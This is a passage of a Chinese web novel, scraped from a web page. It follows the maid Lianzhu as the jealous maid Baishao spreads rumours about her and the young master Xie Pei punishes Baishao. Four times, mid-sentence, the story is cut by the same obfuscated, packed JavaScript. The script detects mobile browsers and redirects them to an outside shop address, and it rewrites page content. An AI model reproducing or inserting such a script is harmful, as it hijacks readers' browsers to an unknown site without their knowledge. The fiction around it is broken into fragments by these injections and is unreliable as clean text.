“我胡说？我才没胡说！”白芍狠狠甩开母亲的手，“当初分人去大少爷院里，她就选了春蝶，不选我。明明你同喜和嬷嬷都是她的陪嫁丫鬟，我还是你的亲女儿，她凭什么就选了喜和的侄女！要人去清月阁吃苦，她倒想起我了，哪有这样的道理！她这般待我，难道我还要死心塌地给她卖命？” 王庆和没想到女儿这般大胆，连袁氏都敢编排怨恨，一巴掌捂住她的嘴，骂道：“孽障！这话也是你能说的！你吃了熊心豹子胆，传扬出去你想被乱杖打死不成！” 白芍一口气出完，想到之前在暮香堂看见大夫人惩罚下人的手段，也是浑身一抖。 王庆和见她总算知道厉害，不敢再胡言，想着这次一定要好好训诫，不叫她再有非分之想。于是，开口又骂：“你光看着三少爷考中秀才的光鲜，焉知他能得意到几时？他姨娘和夫人之间又有仇怨，若你真入了房，他知道我是夫人跟前的，又有几分真心待你。” “我...我...”白芍自存了这个心思，早将谢培想德是千好万好，骤然被绝了心思，胸口发闷，呜呜地哭了起来。 王庆和贯来怜爱这个女儿，见她哭了，也放缓声音道：“你真当大户里头少爷的姨娘是那么好当的。你羡慕春蝶，你且看大少爷娶亲之后，她的日子还好过不？” “可...可三少爷不一样。”白芍泪流满面，抬起头抽噎着反驳。 王庆和没想到她糊涂至此，好话都说尽了，还不知悔改，又提起声音骂道：“呸！你还不醒悟，还痴心妄想！你要再敢生出幺蛾子，不必夫人打杀你，我就先处置了你！” 王庆和骂了一通，只觉得胸闷气短，扶着桌沿一屁股坐下。她瞧着白芍仍嚎啕大哭，心里虽软，但也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17110990|195488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不出言安慰，直叫她将这一番教训记清楚了才让她回府。 白芍回了清月阁，想起受的委屈，又蒙着被子狠狠哭了一遭。 第二日醒来时，两只眼睛肿的和核桃一般，不肯出门。坐在妆台前，对着镜子拿了热鸡蛋敷在眼上，仍旧想得是昨日的事。 她自小是个倔脾气，虽觉得娘亲说得有两分道理，但心中总有些不服。 三少爷还不知她的好处，若真抬了她进房，她自有千百种细致妥帖的法子，能将那少年人的心思稳稳当当地拢在自己掌心。 等自己成了三少爷心尖上的人，大夫人真想处置自己，怕是也没那么容易。 她如此想着，听到窗外的动静，抬眼看去是谢培从院中走过。 他身着松绿杭绸直缀，腰间束着嵌绿松石的腰带。只这一眼，就让白芍愈发觉得谢培风度翩翩、潇洒风流，彻底将娘亲的话抛在脑后了。 自那日白芍设计让自己端了热茶之后，院里很是消停了一阵。 连珠不见谢培提点白芍，不知他私下里用了什么方法。 连珠也不好奇，只日日做完手头上的事，便裁了绸缎做荷包。她的绣工不错，择得花样又都是富贵吉祥的，做完之后请冬生拿到外面卖了，一个能赚十文的辛苦钱。 兰儿原本只顾玩乐说笑，真见了连珠有银钱入账，又心动起来。 “一个荷包十文？那一百个岂不是一两银子！”兰儿说到钱就两眼放光。 她张口就是一百个荷包，听得连珠好笑：“你当是剥豆子呢，一下四五个，一百个我得做到什么时候去？” “我看你手脚颇快，两三日就得了一个，这样算起来，岂不是比一个月的工钱还多？”兰儿挤到连珠身边，“你教教我，我也想赚点体己。秋日买头油、擦脸的，一下就去了几百个铜子，我没钱了。” 连珠和她关系好，一口就应了下来：“这有什么难的，你只要花了心思去练，不过就是耗费时间罢了。你去把我前儿描的那个梅花的花样拿来，那样子简单，正好给你练手。” 兰儿一迭声地答应，拿了花样，用连珠多余的碎布练手，竟也能坐得住。 又是半月过去，谢培进了府学读书。 那府学虽还是在延州城里，但是在北边的建延县，坐了马车，来回也要一个时辰。 入冬之后，天亮得晚，黑得早，谢培为避麻烦，就住在府学内，五天归家一次。 但凡谢培不在，院里的事就更少，连珠和兰儿没事便待在屋里绣荷包，凑够十个就请冬生带去卖了，攒下一笔不小的数目。 这日，又是谢培要回来的日子，兰儿一早就去大厨房拿饭。 饭菜还没做得，她便在外头等着，不多时就见一洗碗的小丫头朝她挤眉弄眼。 “姐姐，你是清月阁的？” 兰儿不认得这小丫头，听她发问，也点了头。 “你们院里是不是有个叫连珠的？” “是啊，怎么了？” “都说她和大老爷身边的小厮冬生有事，可是真的？” 兰儿闻言，感觉脑子一阵发懵，反应过来才怒声骂道：“都是哪里来的谣言！” 19. 给你做主 清月阁里间，连珠抱了新晒的被子铺床。 谢培五日回来一次，每回被褥床单都是洗晒干净再铺回去。青芝嫌麻烦，偷懒一回，就叫谢培闻出一股霉味。之后连珠就将这事揽了下来，再不假手于人。 才掸好被条，放上软枕，就见兰儿一阵风似的跑了进来，连手里的食盒都没顾得上放下。 “怎么这么风风火火的，叫三少爷回来撞见，又要说你。” 兰儿看她不紧不慢的样子，炭火般的性子一点就着，拉了连珠的手就要往外冲：“你还有心思铺床，都不知道外面要将你传成什么样子了！” 连珠知她行事冲动，说话又不清不楚，拦下她问：“到底是什么事？你且说说，再出去也不迟。” 兰儿无法，只好放了食盒将大厨房听到的风言风语一一转述，她怒火未消：“原先我只以为是那大厨房的小丫头从哪听了一耳朵，乱扯得闲篇。谁知她说你和冬生这事在外院早传得有鼻子有眼，分明是有人存心祸害你的名声！” 连珠心里一沉，没想到自己托冬生帮着卖些荷包也能闹出这样的风波。 “后两院里请小厮帮着从府外采购东西的丫鬟不少，怎地就偏偏传出了我和冬生的谣言？” 兰儿气道：“所以说是有人存心要害你啊！我问过了，那小丫头说了，听说流言就是从清月阁传出来的。你说说，还能有谁？” 兰儿没点名字，却也知道她说得是白芍。 白芍之前确实消停了一阵不说，但渐渐又故态复萌。趁着谢培不在院里，说话拈酸带棒，教训完连珠又呵斥兰儿，恨不得闹个翻江倒海。 兰儿一通话发泄完，拉着连珠就往院里去，正巧看着白芍从东厢廊下走过，开口就将她叫住。 “你喊谁呢！没大没小，刚进府的时候没教过你规矩？”白芍对着两人自有一份威风。 兰儿早憋成了个暑天里闷坏的瓜，被她一激立刻炸开：“你说，你是不是在外头乱嚼舌根，说连珠的坏话，污她清白，坏她名声！” 兰儿嗓门颇大，怕不是前后两院都能听见她的声音。 白芍心知兰儿是个傻透的莽子，勾起嘴角，恨不得她再闹得更大些，叫院墙内外的人都听见。 那闲话当然是她传的，她嫉妒连珠。连珠年纪小，性子也软弱，可举手投足就有股说不清道不明的气度，让她生气！三少爷事事依着她，更让她生气！ 但这事做了，她是不打算认的。 “呸，你当我是什么人，那些烂舌头的事我才不稀的做。你满嘴胡吣，才是毁我的名声，若再敢乱说，看我不撕了你的嘴！” “你...你还敢反咬一口！”兰儿几要被气得浑身发抖，“那外头的丫鬟说是个头戴鎏金钗子、描眉画鬓的丫鬟亲口告诉她的，还说自己就是清月阁的人，是亲眼所见。不是你还能是谁！” 白芍没想到竟是有人将她供了出来，只是她也不慌，咬死了不认，谅连珠和兰儿这两个丫头片子也拿她没办法。 连珠早猜到白芍不认，可她三番两次算计自己，知道这事若再含糊过去，便是当断不断，反受其乱。 她不惹事，但也绝不怕事。 白芍这人，是记吃不记打的性子，你退一尺，她能进一丈。过去芝麻小事也就罢了，今日若不能一棍子把她打懵了、打服了，往后只怕更要变本加厉，成了那附骨之疽，甩不掉、碰不得，平白惹一身腥。 “白芍姐姐既然说不是，那便不是。”连珠顿了顿，目光又扫到厢房那儿探头探脑的青芝，“只是这谣言传得有鼻子有眼，连鎏金钗子、描眉画鬓的细节都说出来了。若不弄个清楚，今日是我，明日保不齐就是院里其他姐妹，总不能人人都背着这不清不楚的名声过活。” 她一一看过院里的三个丫鬟，又道：“既然外院的丫鬟见过乱传流言之人，那我便带着她到清月阁认一认人，若真不是咱们院里的，也好绝了这谣言，免得带累了大家。” 此番话一出，这件事的性质就变味了。不是她靳连珠被传谣言，而是要揪出清月阁的害群之马。 连珠这话也是连环计，若是白芍不同意认人，那几乎能肯定故意传话之人就是她。即便她同意了，一来可以敲山震虎，二来也是借此机会将自己和冬生并无关系的消息传出去，平息流言。 兰儿听了勾起嘴角，拍手笑道：“好，连珠这法子好，就叫人来认认。看到底是谁在说谎！” 白芍做贼心虚，哪里肯答应，只是嘴上仍旧强撑道：“好端端的，凭什么我要被认，我不干！” 兰儿这厢忍不住，“噌”地冲到白芍身边，拉住她的衣袖不让她走：“你不干就是心虚，那事是你做得不是！” “你有证据么？这是在谢府，不是你村头的泥地里，说话做事可都是要有凭据的！” 两人你不让我我不让你的僵持着，就听见外头有人说：“三少爷回来了。” 说话间，谢培已经进了院门，开口就问：“什么事？要什么凭据？” 白芍一见谢培，瞬间慌了，方才那股胡搅蛮缠的气焰霎时萎了半截。 谢培还没到门口就听见院里的吵闹，这会儿又见没人答话，厉声问：“刚刚不是还挺热闹的，怎么就哑巴了？” 兰儿嘴快，将事情前因后果倒了个干净，末了指着白芍道：“就是她，她在外头烂嚼舌根，还要抵赖！” 白芍白着脸说不出话。 谢培听罢，脸上倒没什么表情，只对着身后跟着的金环道：“去外院把那个传闲话的丫头叫来。再把管事的嬷嬷一并请来，我倒要问问，谢府什么时候成了街市口，由得人信口开河编排主子院里的人？” 白芍一愣，没想到谢培真要去寻了人来。她这些日子跟着外院不少丫头磨叽了连珠的坏话，要是真找人来，自己能讨得了好？ 她见金环应声要走，腿一软，“扑通”一声就跪下了，膝行两步扯住谢培的袍角：“少爷！少爷饶了奴婢这一回吧！奴婢...奴婢就是随口那么一说，哪知道就传成了这样...我绝没有要害人的意思啊！” 她说到后来已是放声大哭，涕泪抹了一脸，要让不知情的瞧了，真要说她可怜。 “随口一说？”谢培垂眼看着她，却不怜惜，声音陡然沉了下去，“你随口一句，便能毁人清誉，搅得满院不宁。若人人都像你这般，府里还有没有规矩了？” “少爷，三少爷，我是无心之过，求您原谅我这一回吧！”白芍哭得凄惨。 谢培抽回袍角，不再看她，冷声道：“就跪在这儿，掌嘴二十，革一个月银米。若有下次，我就去回了大房太太，我清月阁容不下这等挑唆之人。” 谢培甚少发这样大的火，院里静得只听见树梢鸟儿的啁啾。 他甩了衣袖进了正房，房门“砰”地带上，白芍才终于一嗓子嚎了出来。 兰儿惩治白芍的心愿得成，但从未见谢培狠罚过她们，听着那巴掌的脆响，不知怎地竟有些心慌。 她朝着连珠靠近两步，刚要说话，又被从屋里跑来的金环吓了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17115900|195488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跳。 金环倒并非冲她而来，而是对着连珠一笑，略弯了腰恭敬道：“连珠姐姐，三少爷叫您进屋。” 屋里，兰儿带来的食盒仍旧端放着，连珠掀开盖子，菜都凉了。 “三少爷饿了吧，我去起锅子，将这汤热热。” “先不忙。”谢培看着她，又指着自己跟前，“你过来。” 一别五日，他想她了。 在府学时，有事做时还好，但凡闲下来，他就不可避免地念着连珠。 今日下学，他紧赶慢赶就盼着早一刻回来能见她。 谁知竟见到院里闹了那样一出大戏。他早知白芍不是良善之辈，故而对她使手段嚼舌根，并未生出什么气。 真正叫他气的是那捕风捉影的谣言里牵连出连珠！ 他对着院里众人向着连珠，发落了白芍不假，但心里记挂着连珠是否真跟个小厮纠缠不清。 什么荷包，什么树下私会...这些字句在他脑子里翻来覆去，莫名搅出一股妒意。 他叫连珠站在跟前，见她光容鉴物、艳丽惊人，胸腔里的那颗心又不可抑制地乱跳起来。 他忍不住问：“你跟那个叫冬生的小厮，很熟？” 连珠心想，自己之前觉得三少爷果毅冷静的确不错，他倚重自己，惩治白芍，但心底还是存疑，总要听她亲口辩白才算安心。 “奴婢同冬生是在静修斋做活时相识，平日也同其他后院丫鬟一般请托他们帮忙采买些物品，自己做的荷包也叫他们拿去相熟的布庄寄卖。泛泛相交，说不上很熟。” 谢培听连珠说不熟，脸上才终于有了笑意。又听连珠说要自己做荷包去卖，怕她是有难处没有告诉自己，皱了皱眉头：“可是缺钱用？” 连珠自不会将攒钱一事说给谢培听，只是摇摇头：“闲来无事，贴补些零用。” 谢培闻言，从床边带锁的匣子里翻出个荷包，分量颇重，他牵了连珠的手，把荷包放在她掌心。“若是急着用钱，就用这里头的，不够再问我要。没得为了卖几个荷包，平白落人口实，你说是不是？” 谢培用的是问句，但已是替连珠做好了决定。 连珠应下不再叫小厮帮着送荷包去卖，却不肯收那钱。反复推拒几次不成，连珠只想着等他回了府学，再放回匣子里。 次日一早，谢培用了早饭，就让金环去吩咐人驾车。 连珠替他围系披风时，觉察出谢培又长高不少。 谢培垂眸看她，杏脸柳眉、眸清可爱，心里一软道：“你在院里没事便多休息，若是有人欺你，就让金环给你带话，我给你做主。” 连珠闻言轻笑，也放松下来调侃道：“好啊，三少爷去府学不顾着念书，原是想着这些杂事。” “不是杂事...” 他话还没说完，就听金环在外头喊“车得了”。连珠掸了掸他披风上的微尘，催他道：“三少爷去吧，别叫路上好赶。” 这般慌乱，刚刚心里头的话倒不好说了，他深深看了连珠一眼，这才带着金环出了院门，往东边从园子偏门出府。 两人才走了几步，就看见三四个小厮抱着箱子从前边的走廊穿过。 打头的那个见了谢培，赶紧停下，倒叫后头三人一个摞一个地撞在身上。 “哎哟！”那小厮叫了一声，赶紧行礼，“三少爷。” 谢培不拘泥这些虚礼，抬步越过他们就走。往前几步，就听身后的金环凑上前来，贼兮兮地道：“少爷，方才那个就是冬生！” 20. 你猜是谁 金环是二门外门房李婆子的幺儿，为人机灵，办事妥帖，被指了来伺候谢培。 他跟得谢培时日不长，但一双眼睛毒得很，早看出三少爷待连珠不同。经过昨儿那一遭，他更是心里明镜似的，他们少爷是对连珠上心了。 所以瞧见冬生，他便冒昧给自家少爷提了个醒。 谢培闻言立时停了脚步，回头一看，哪里还见刚刚四个小厮的影子。 他凝眉回想，已是记不起方才匆匆一瞥打头那个小厮的样貌。只依稀想起是个方脸的周正样貌，确实比旁人多几分精神。 金环见谢培皱眉不语，斗胆上前凑趣道：“三少爷，我瞧那冬生只是个寻常之姿，连我都要比他强上一些，更不必说您了。” 这话说得巧妙，直说到谢培的心坎里，他撩起眼皮睨金环，嘴角不自觉地弯起：“浑说什么，有把少爷和小厮比的么？” 金环呵呵一笑，一巴掌轻拍了下自己的嘴：“是奴才失言，该打！这不是怕少爷为些没影儿的事烦心么？” 谢培闻言，心头那点残存的郁气彻底散了，嘴角的笑意再也掩不住。他虚点了一下金环，笑骂道：“油嘴滑舌。” 金环得了一声骂，却知道三少爷这是真高兴了。 他心里暗道，以后可得更仔细地敬着、护着连珠才行。 主仆两个一番言语，冬生自是不知的。他抱着箱子行到梅影轩的月洞门外，才放了箱子擦去额头上的细汗。 这梅影轩紧邻着二夫人停灵的静修斋，两院之间只有一片梅林相隔。因这梅影轩对着梅林一侧的只修了花篱墙，冬日坐在院中不必出门就能欣赏梅景，故而取名梅影轩。 这处院落只是冬日里景致好看，偶尔爷们冬日设宴会选在这里，寻常并不住人。 此番打扫出来，便是为了迎谢坤那位新师宋春茂。 这宋春茂建元五年状元及第，和袁英华的祖父是同科进士。他辞官之后隐居故里，这次就是受袁家的邀才来了延州。 事关谢坤的前途，袁英华自然万般重视。她亲自立在院中监看，生怕下人一个不留意哪里没安排周全。 谢玉棠晨起无事，也跟在袁英华身侧。她穿一身葱白色满绣彩金飞鹤的袄衫，下着佛头青素面杭绸的八幅裙，头上装饰倒不华丽，只在发辫上绕了拇指大小的明珠，瞧着端丽可爱。 她长相肖似其父，眉毛生得英气，就是下颌圆润，带了两分女儿家的柔和。 谢玉棠也听闻要来的这位宋先生学识渊博，心中不免生出几分敬仰。 她幼年也曾去过谢家家塾，后来年岁渐长，因着男女大防便再未踏足。如今见母亲郑重其事地请了名师到家中，心中难免意动。 “娘，女儿听闻宋先生当年殿试的策论，曾被先帝亲口赞过经纬之才。如今他来府中，我也想每日来旁听，你说好不好？” 袁英华驭下严厉，但对一双子女又十分溺爱，故而谢玉棠对着她也是无话不说。 谢玉棠本以为一件小事，娘亲定然满口答应，谁知袁英华却道：“胡闹，那宋先生是来伺候你哥哥前程的，你也跑去算怎么回事？” “娘，我又不会打扰先生，哥哥学哥哥的，我听我的，怎么不成？”谢玉棠不爱女红针线，偏爱读书写字，旁的倒也罢了，为着做学问的事，还是想在娘亲面前争一争。 “糊涂东西，你当这府里就你一个小姐。”袁英华涂了丹蔻的手指戳了谢玉棠的脑门，“若我答应让你去旁听，那三房闹起来，要将玉槿也送来怎么办？玉槿若是来了，那玉棉呢？一个两个的都要来，你哥哥还学不学了。” 谢玉棠没往深处想，自己不过是想旁听，其中竟也有这么多的弯弯绕。 袁英华说着见小厮抬了箱子进来，又指着对春蝉道：“那些被褥垫子先不着急铺上，都是库房里刚拿出来的，晾晒之后熏了香再铺。” 她吩咐完，又拉了谢玉棠的手：“女孩儿家该学的道理，在持家理事，那些经世济民的学问，自有男人们去操心。过了年，就十五了吧，是大姑娘了，总不能等到嫁人再去学吧？” 提到嫁人，谢玉棠小脸一红，扭捏道：“娘，你说这个做什么，我还小呢！” “还小，不小了。” 冬至正日，那宋先生的轿子千盼万盼地总算到了府门口。 府中设宴款待，大厨房顾不得她们这些不得宠的小丫头，晚膳胡乱给了两碟饺子了事。 兰儿被前些时候三少爷在府时的好菜好饭养叼了胃口，对这点饺子实在看不上眼。 白菜肉馅的饺子，尚算得上皮薄馅大，连珠吃了六个，就觉得有些饱了。 她放下筷子，忽听兰儿一拍脑门：“对了，你等等。” 她一阵风地跑回房里，回来时手里拿了两个火红的柿子：“喏，都是给你的。” 冬日里鲜果难得，她们丫鬟要想吃，都得是主子赏。这两个柿子个头颇大，又红艳似火，一瞧就口舌生津。 兰儿不等连珠问，就道：“晌午那会儿我回院，正碰到院门口探头探脑地站了个人，你猜是谁？” 连珠不猜也知道她憋不出要说，只看着等她蹦出答案。 “是冬生！”兰儿压低了声音，但还是难掩兴奋，“他瞧见我就支支吾吾地，半天才拿了这两个柿给我。还问，怎么咱们最近不叫他帮着卖荷包了。” 她说着，脸上带着促狭的笑：“你说他是问谁啊？” 前一回，她听说白芍传连珠和冬生的闲话，当然替连珠气愤。但现在私下里只有她们倆，小姐妹间说说话，当事人真的有意，那情况又不一样了。 她今儿细细打量了冬生，虽说他年纪比连珠和自己还要小一岁，但生得高大健壮，长得也还过得去。说起来，比舔着脸讨好白芍的二门外的长随要顺眼多了。 她们在谢府待了几年，男女之事不说见，听也听得多了，早不是刚进府时懵懂少女。 对面松风苑，大少爷的六个丫鬟，玉露犯错去了庄子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128652|195488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不说，碧螺和绿雪都是年纪到了嫁人。 碧螺是大丫鬟，又是家生子，有娘家助力，嫁了大老爷跟前管事的儿子。 绿雪是采买进府的，年纪小时还玉雪可爱，年岁大了反而长得歪了。大少爷不喜她在跟前，年前她也就自赎出府，听说嫁了个城郊的小地主。不光要自己管田产，农忙时还要里里外外的张罗，比不得在谢府的日子快活。 兰儿这般想着，便觉得冬生也算不错，家境不错，样貌不错，性格也不错。配连珠是差了些，但人哪能十全十美的。 她自己想了一通，连珠却不搭她的腔，反而道：“上回白芍的巴掌还不叫你长记性？三少爷可是说了，让咱们少和他们来往。” 兰儿闻言蔫儿了，又不解道：“你说也是奇了，三少爷事事不拘束咱们，怎么就对这个管得这么严？我听说大太太院里的丫鬟跟小厮走得近的也不是没有，怎么就咱们不同。” 连珠看着她笑：“原来你是想走得近，果然是姑娘大了，春心动了？” “谁春心动了！谁春心动了！”兰儿被她倒打一耙的话给气着，伸手就去胳她的痒，两人在椅上闹作一团。 倒把冬生那一遭给抛了去。 隔天，连珠拿了谢培临走前给的牌子出府。 一是差不多一月没回家，得回去看看家人。二来就是把攒下的荷包拿去卖了，换些银钱。 靳家变化不大，只在院里翻了一垄地种些白菘。 连珠进了院里，范荣儿并不在，她把给家里人做的鞋子放下，就听见院门口一阵喧闹吵骂。 连珠走到院里，看见范荣儿掐腰站在门口朝着对门大骂：“被狗吃的，黑了良心，脸上流脓脚底生疮的，再往老娘门前倒你家里的那些脏污，叫你生个儿子没屁/眼！” 连珠怕她一个女人吃亏，赶紧跑到院门外，却见她是冲着人家紧闭的屋门在骂。 “娘！” 范荣儿听见她的声音，终于是止住声音，意外道：“你怎么回来了？什么时候回来的？” 连珠正要答话，就闻到一股臭气，往脚下看了果然是一地污水。 “快快快，进屋去，别踩得鞋子脏了。”范荣儿围着连珠就往屋里赶，“都是对面那个贼婆娘。” 连珠也拉了她的手坐下，听她埋怨：“前儿有人来巷子里卖米，我见便宜，就全买了。谁知她说是她把人领来，不过回屋拿个钱的功夫，米就被我买了。你说说，这能怪我么？那卖米的又没说，我上哪知道去！她可好，这两日就往我门前泼脏水，有她这么办事的么？” 范荣儿说得这个贼婆娘，姓马，她家男人姓牛，也在谢府做活，跟着一个管事采办花木，并不是什么得势的奴才。 连珠想起记忆里这一家往日的为人，奇怪道：“这牛大叔为人胆小怯弱，马婶子又不是个担事的，这不像是她会做的事啊。” 范荣儿哼了一声，不屑地撇撇嘴：“若是从前，那当然是不敢了，现在不一样了！” 21. 止戈为武 对门牛马一家是歹竹出好笋，生的两子一女各个盘靓条顺，端的是一副好样貌。 尤其是他家的小女杏儿，柔情弱态、风韵动人，一双细长的眸子似泪非泪，惹人怜爱。初入府时，还只是在二门外的宴客厅做个粗使的洒扫小丫头，年前府中做宴的时候被三老爷看中调到自己院里，中秋后已经收做通房。 “还只是个通房，连姨娘都攀不上，就得意成什么样子。”范荣儿啐了一口，很是看不上的样子，“巴巴地改了个名叫胭脂，哪有好人家的女儿叫这个名，我听了都臊得慌！” 门对门地住着，范荣儿这些时日没少被马婶子当面冷嘲热讽，字字句句都指着她的连珠说事，早就酿了一肚子的气。 真说起模样身段，她的连珠不知要比杏儿好多少。可真要让连珠跟杏儿一样，被三老爷收房，她又是不肯了。 “你爹前儿还说起，要找人给你挪地方。可这府里虽大，但哪就那么容易了。你是伺候过三少爷的，要到大太太跟前去，也不是个好出路。可两位老爷那里，不说夫人姨娘，就是房中的丫鬟个个都乌眼鸡似的，见你这花儿一般的小丫头还不生吞了你。”范荣儿说着拉起连珠的手放在掌心，轻轻地拍，“要我说，还是算了。清月阁就清月阁吧，人闲事少。等年纪大了，你要出府出府，要嫁人嫁人，平平安安地比什么都强。” 卖女求荣的不是没有，可靳家一门子都不是那般恶人，连珠觉得自己托生的这一世，虽是命途多舛，但也不至于全走了背字。 连珠想着往范荣儿跟前又凑了凑：“就是，若我被那年纪跟爹差不多的三老爷看上，娘还不得哭死。” “呸。”范荣儿闻言笑出声来，一巴掌轻拍在连珠的面颊，“羞也不羞，这是你该说的话？” 连珠也笑，拱进她的怀里：“不羞，我这样大的年纪还要和娘撒娇呢！” 她说着，听见范荣儿下巴抵在她的发端笑出声来。 该多让范荣儿笑一笑的，自己占据了这副身子，这原身小小的年纪也不知去了哪里，自己该替她哄她娘笑一回。 母女俩抛开那些不开心的，又闲话几句，吃了茶点就打算出门。 自打不让冬生帮着买卖东西，做好的荷包手绢都留着，装了半个包袱。范荣儿也要买些日用杂货，跨了篮子挽住连珠的手，锁上院门。 延州城大，除主城上元、建延两县，另有江孜、七宝、石陈、漓江四县，兰儿家便在上元县西南边的七宝县。 上元建延两县之间有一宝善河，由西至东建有七座大桥。 谢府便在城东还金桥往南再行数千米。 范荣儿领着连珠由巷子拐到大路上，行了百余步，又向西走去。 这一片多是官家宅院，等走了一刻钟的时间，才见街上熙熙攘攘，路两边多了些铺子。 连珠之前托冬生帮忙出手荷包的是一家明记布庄，这回有范荣儿带路，直接领着她到了这处绣云坊。 “去布庄的都是要买了布料自己回去做的，你那荷包当然卖不上价。”范荣儿一指绣云坊道，“这家卖的都是成件的绣品，来的客人也多。” 连珠一看店内，果然除了荷包、手绢，还有枕套、扇面... 铺子的老板是个爽快人，见连珠的绣工好，给的价比从前高了二成。 只从中剔除几个线迹松散的，给了八文钱。连珠一看，正是兰儿绣的。 范荣儿瞧她一口气拿出那么多的绣品，在人前不好说什么，出了店门，又是哀叹一声：“熬瞎了眼睛，才赚五钱银子。若你跟了个好主，随手打赏就是金锞子，哪用这么辛苦。” 她是心疼女儿，一时又觉得连珠像自己命苦，竟是眼角泛泪，悲从中来。 连珠没想到只是卖个荷包也能惹她伤心，赶紧拿帕子替她揩了眼泪，安慰道：“娘，世间安得双全法，得一样失一样。再说了，我如今已经升了三等，三少爷也说等大老爷高兴，再提一提将我升了二等，哪里有什么辛苦的？” 范荣儿也是一时情绪上头，听连珠说还要再升二等，又双眼放光，问起是个什么情况。 两人边说边走，又买了火烛剪子，末了，范荣儿还拉着连珠进了家胭脂铺子，择选两块喷香的胰子和一罐蜜粉。 “从前爱俏，进府之后反倒转了性，丁点儿也不打扮。”范荣儿将东西放进篮子，又道，“花一样的年纪，总那么素净，我怎么记得你小时候最爱穿大红大绿的料子？” 连珠看那东西要价颇贵，不舍得范荣儿破费：“那就只买蜜粉就行了，府里发胰子呢！” “你当我不知道，府里主子和下人用的胰子两模两样，洗久了手都要脱一层皮。你姑娘家的身娇肉嫩，我平日照看不到你，只能买两块胰子给你带去。” 范荣儿见了连珠就心中有愧，不光是胰子蜜粉，回家又搜罗了刚做的吃食，一并包好叫她带回府里。 连珠体谅她一番心意，尽数收下，回府路上心中难得一片熨帖。 提着包裹刚踏进清月阁的门，就听见自己住的房间里头传来尖锐的骂声。 连珠心头一紧，不明白这又闹得哪一出。她加快脚步，才走到厢房门口，就见屋里头一片狼藉。自己的铺盖被胡乱扔在砖地上，针线筐倒扣着，各色丝线滚了一地，平日用来泡茶的一套青釉瓜棱茶具也摔得粉碎。 兰儿头发散了一半，正死死揪着白芍的衣襟，眼睛红得像要喷火：“你这烂了心肝的蹄子！凭什么翻我们的东西！” 白芍也不甘示弱，一手攥着兰儿的腕子，已是扯破了半幅袖子。 “我翻翻怎么了？我娘给的那支赤金梅花簪不见了，定是你们这起子手脚不干净的偷藏了！”白芍声音又尖又利，脸上被抓了两道红痕，却仍梗着脖子，“我就搜了，你能拿我怎么样！” 青芝在两人中间拦了那个扯这个，忙得不可开交。 兰儿见连珠来了，气焰又燃盛：“连珠，你来得正好。这小贱人翻了咱们的东西，今天不打她一顿，我兰儿两个字倒过来写！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138206|195488||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谁知白芍听了这话，猛地将兰儿往后一推，让她踉跄撞在床沿上。 白芍也不恋战，朝着连珠狠瞪了一眼，便往外冲去。只在路过她身边时，半边身子狠狠撞向连珠的肩膀，撞得她胳膊木木地疼。 兰儿扶着腰站起，气得浑身发抖：“狗养的贱人，她以为她是什么东西！我...我...” 她四处寻摸，只盼着能找到一件趁手的东西，狠狠照着白芍的脸一棍下去。 晚上，兰儿趴在床上，衣服被掀至腰上，后脊骨那儿青紫一片。 连珠倒了药油上去，直搓得热了，叫兰儿疼得喊出声来。 兰儿趴在枕上，疼得一头汗，又瓮声瓮气地道：“你下午拦我做什么？你能忍，我可忍不了。若是被人欺到了头上，还一味地忍下去，倒不如死了算了。” 兰儿是真的生气。 生白芍的气，生清月阁的气，也生连珠面团性子的气。 连珠替她按腰的手不停，嘴里道：“让你去跟她同归于尽，一起闹起来，被罚到庄子上去？要是你愿意，我不拦你。” “我...”要真去庄子，兰儿也是不肯的，但这口气她下不去，“那就这么算了？一而再再而三，上次三少爷罚了她，她还不知收敛！我要气死了！啊啊啊！” 连珠静默一阵，心中暗想，这白芍从前性子张扬骄横，但也不像今日这般行事不管不顾。上次受罚，就见她大哭之后眼神狠毒，像是恨透了自己。之后半月，白芍也不像之前那般说话阴阳怪气，倒是常常阴着眼神看人，让人心里发毛。 